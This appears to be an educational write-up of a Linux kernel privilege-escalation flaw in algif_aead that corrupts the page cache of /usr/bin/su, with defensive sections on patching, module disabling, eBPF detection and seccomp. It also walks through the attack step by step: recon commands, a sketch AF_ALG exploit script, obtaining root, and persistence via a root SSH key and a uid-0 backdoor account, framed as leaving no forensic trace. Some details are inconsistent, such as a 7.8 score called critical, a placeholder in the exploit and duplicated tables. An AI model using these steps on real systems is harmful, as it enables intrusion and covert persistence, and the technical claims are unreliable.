
Detailed analysis of the Copy Fail vulnerability (CVE-2026-31431) in the Linux kernel, including memory corruption mechanism, privilege escalation flow, and security impact.
Educational analysis of the Copy Fail vulnerability in the Linux kernel.
Covers the memory corruption mechanism, privilege escalation flow, container escape, and defensive countermeasures.
This repository is for educational and research purposes only.
Do not use this information on systems you do not own or have explicit written permission to test.
All code snippets and commands are provided strictly to aid understanding of Linux kernel internals.
CVE-2026-31431, also known as Copy Fail, is a Linux kernel vulnerability where an unprivileged local user can escalate to root without any special permissions.
The attack operates entirely in RAM. The disk file is never touched — meaning file hashes stay clean, timestamps are unchanged, and audit logs record nothing. When the system reboots, all evidence disappears.
Normal user → exploit algif_aead bug → overwrite page cache → root
Key properties:
/usr/bin/su — The Target Binarysu (Switch User) allows a user to switch to another account — typically root. It is a SetUID binary:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID flag
The s flag means: when any user runs this binary, it executes with root's permissions. This makes it a high-value target.
Its internal logic (simplified):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
The attack goal: skip the password_correct() check entirely.
When Linux reads a file from disk, it keeps a copy in RAM called the page cache.
| Component | Description |
|---|---|
| Disk | Original file on disk (the library shelf) |
| Page Cache | RAM copy of the file (the photocopy on your desk) |
| CPU | Reads and executes from the page cache — fast |
| Attacker | Modifies the RAM copy; disk stays untouched |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← this is the page cache
| Type | Security |
|---|---|
| Safe Buffer — kernel-allocated, size and boundary controlled | ✅ OK |
| Page Cache — file-backed RAM copy, shared, executable | ⚠️ DANGEROUS if written to |
| Wrong Pointer — bug-caused address pointing anywhere | 🔴 CRITICAL |
AF_ALG (Algorithm Family) is a Linux socket interface that lets user-space programs use kernel crypto functions (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // open a crypto socket
algif_aead is the kernel module handling AEAD encryption (e.g. AES-GCM) through AF_ALG. The vulnerability lives in its data copy step.
AF_ALG → algif_aead → AES-GCM engine → output buffer
↑
BUG IS HERE
The bug is not in the encryption logic. It is in memory handling — the wrong memory region is selected during a data copy.
destination = safe_output_buffer; // correct location
memcpy(destination, user_data, size); // data safely written
destination = buffer + WRONG_OFFSET; // BUG: wrong pointer!
memcpy(destination, user_data, size); // data lands in page cache
The kernel was supposed to write to the safe output buffer. Due to a miscalculated offset, it writes to the page cache — which holds the RAM copy of /usr/bin/su.
The binary contains x86-64 machine code. The attacker targets the conditional jump that triggers auth failure:
Before attack:
cmp eax, 0 ; check return value
jne 0x1234 ; if fail → jump to deny
call give_root ; grant root
After attack (2 bytes changed in RAM):
cmp eax, 0 ; same
90 90 ; NOP NOP ← jump replaced, check skipped!
call give_root ; CPU lands here directly
NOP = No Operation. The CPU does nothing and moves forward — skipping the authentication check entirely.
"I only need a normal user account. The kernel will make the mistake itself.
Disk stays clean. No logs. Works every time."
whoami && id
# uid=1000(user) gid=1000(user) ← normal user
uname -r
# 6.1.0-generic ← within vulnerable range
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmed
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su is now loaded into page cache ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Looking for: the auth function address, the jne/jnz conditional jump, and its exact byte offset.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — replaces the conditional jump
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# Kernel internally (simplified):
destination = buffer + crafted_offset # BUG: wrong pointer
memcpy(destination, payload, 2) # NOP bytes written into page cache
# /usr/bin/su's password check is now NOP NOP in RAM
su
# Password: (anything — or just press Enter)
# root@victim:/# ← ROOT OBTAINED
What happened: System executed /usr/bin/su from RAM. The password check was NOP. CPU skipped it. give_root() was called directly.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
After the attack, a forensic investigator finds:
sha256sum /usr/bin/su # SAME hash as before ← disk untouched
diff /usr/bin/su backup/su # No difference
grep -r 'attack' /var/log/ # Nothing
auditd logs # No file write recorded
On reboot, RAM is flushed — all evidence is gone.
Containers isolate user-space — but the kernel is shared, and page cache is kernel memory.
Host Kernel
├── Container 1 (isolated user space)
│ └── Attacker is here
├── Container 2
└── Host Process
Page Cache: SHARED between all containers and host!
Escape path: Attacker in Container 1 reads host's /usr/bin/su → triggers the bug → host binary in RAM is modified → running su on the host yields root on the host machine.
Affected: Docker, Podman, LXC, Kubernetes (shared nodes) — if the host kernel is vulnerable.
These are observation exercises only. Use a lab environment (Docker + old kernel VM) for any testing.
free -h # note Cache value before
cat /usr/bin/su > /dev/null # load file into page cache
free -h # Cache increases slightly
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# Same as disk normally — differs after a successful attack
# /proc/PID/mem comparison requires root
Priority 1 — Kernel Update (best fix)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
Priority 2 — Disable algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
Priority 3 — Access Controls
Apply seccomp profiles with SystemCallFilter in systemd services to restrict AF_ALG socket access for untrusted processes.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
# Run with seccomp profile (blocks AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restricted policyCVE-2026-31431 combines stealth (disk unchanged) + reliability (no race condition) + container escape — making it uniquely dangerous among its class.
algif_aead module if not requiredIn CVE-2026-31431, Linux's crypto module (
algif_aead) has a memory copy bug that causes attacker-controlled data to land in the page cache instead of the safe output buffer — silently modifying a SetUID binary in RAM — allowing any local user to gain root access without leaving a single trace on disk.
This document is prepared for educational understanding of Linux kernel security internals.
— Educational Purpose Only —
| Field | Value |
|---|
| CVE ID | CVE-2026-31431 |
| Common Name | Copy Fail / algif_aead Page Cache Corruption |
| CVSS v3.1 Score | 7.8 — CRITICAL |
| Attack Type | Local Privilege Escalation (LPE) |
| Affected Kernel Versions | Linux 5.10 through 6.8 (approx.) |
| Vulnerable Component | crypto/algif_aead.c — AF_ALG socket interface |
| Exploitation Reliability | HIGH — No race condition required |
| Disk Evidence | NONE — RAM-only modification |
| Container Impact | YES — Host escape via shared page cache |
| Patch Status | Available (upstream kernel patch released) |
| CVE | Race Condition? | Disk Safe? | Reliability |
|---|
| CVE-2016-5195 DirtyCow | YES — timing required | NO — disk modified | Medium |
| CVE-2022-0847 DirtyPipe | Minimal | YES — RAM only | High |
| CVE-2026-31431 Copy Fail | NO — direct write | YES — RAM only | VERY HIGH |
| Detection Method | Works? |
|---|
| sha256sum / file hash | ❌ Disk is identical |
| File modification timestamp | ❌ Disk untouched |
| auditd file write logs | ❌ No disk write occurred |
Process memory inspection (/proc) | ✅ Only if monitored in real-time |
| eBPF kernel monitoring | ✅ Syscall-level detection |
| Memory forensics (LiME) | ✅ But complex |
| Method | Command / Approach |
|---|
| Kernel version | uname -r → compare against patched version |
| Module loaded? | lsmod | grep algif_aead |
| eBPF monitoring | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| Process memory | cat /proc/PID/maps — compare with disk hash |
| auditd | ausearch -sc socket -sv no |
| Falco | Rule: unexpected memfd or page cache write |
| Memory forensics | LiME dump for post-incident analysis |
| CVE / Name | Race Condition? | Disk Safe? | Container Escape? | Reliability |
|---|
| CVE-2016-5195 DirtyCow | YES — timing required | ❌ Disk modified | Partial | Medium |
| CVE-2022-0847 DirtyPipe | Minimal | ✅ RAM only | YES | High |
| CVE-2026-31431 Copy Fail | NO — direct write | ✅ RAM only | YES — shared cache | VERY HIGH |
| Term | Meaning |
|---|
| Privilege Escalation | Going from normal user to root without authorization |
| Page Cache | Copy of a file stored in RAM, managed by the kernel |
| SetUID Binary | Root-owned file that runs with root privileges for any user |
| Write Primitive | Arbitrary memory write capability obtained through a bug |
| Race Condition | Timing-based attack requiring a precise execution window |
| AF_ALG | Linux kernel crypto socket interface (Algorithm Family) |
| algif_aead | AEAD encryption kernel module — the vulnerable component |
| memcpy() | Memory copy function — moves data from one address to another |
| NOP | No Operation — CPU instruction that does nothing and moves on |
| Container Escape | Breaking out of a container to access the host system |
| eBPF | Kernel-level monitoring tool for real-time syscall detection |
| LiME | Linux Memory Extractor — RAM dump tool for forensic analysis |
| Seccomp | Secure Computing — Linux mechanism to restrict syscalls |
| ELF | Executable and Linkable Format — standard Linux binary format |
| CVE | Common Vulnerabilities and Exposures — vulnerability identifier |
| CVSS | Common Vulnerability Scoring System — standardized severity scoring |
| Kernel Module | Kernel plugin (e.g. device drivers, crypto handlers) |
| Offset | Distance in bytes from one memory point to another |
| Reverse Engineering | Analyzing a compiled binary without access to source code |
| Step | Action |
|---|
| 1 | whoami — confirm you are a normal user |
| 2 | uname -r — verify kernel is in vulnerable range (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — confirm SetUID flag is present |
| 4 | Run exploit script: AF_ALG → algif_aead → crafted payload |
| 5 | Kernel bug triggers → page cache of /usr/bin/su overwritten in RAM |
| 6 | Run su → ROOT obtained (no password required) |
| 7 | Persistence: add SSH key or create backdoor root user |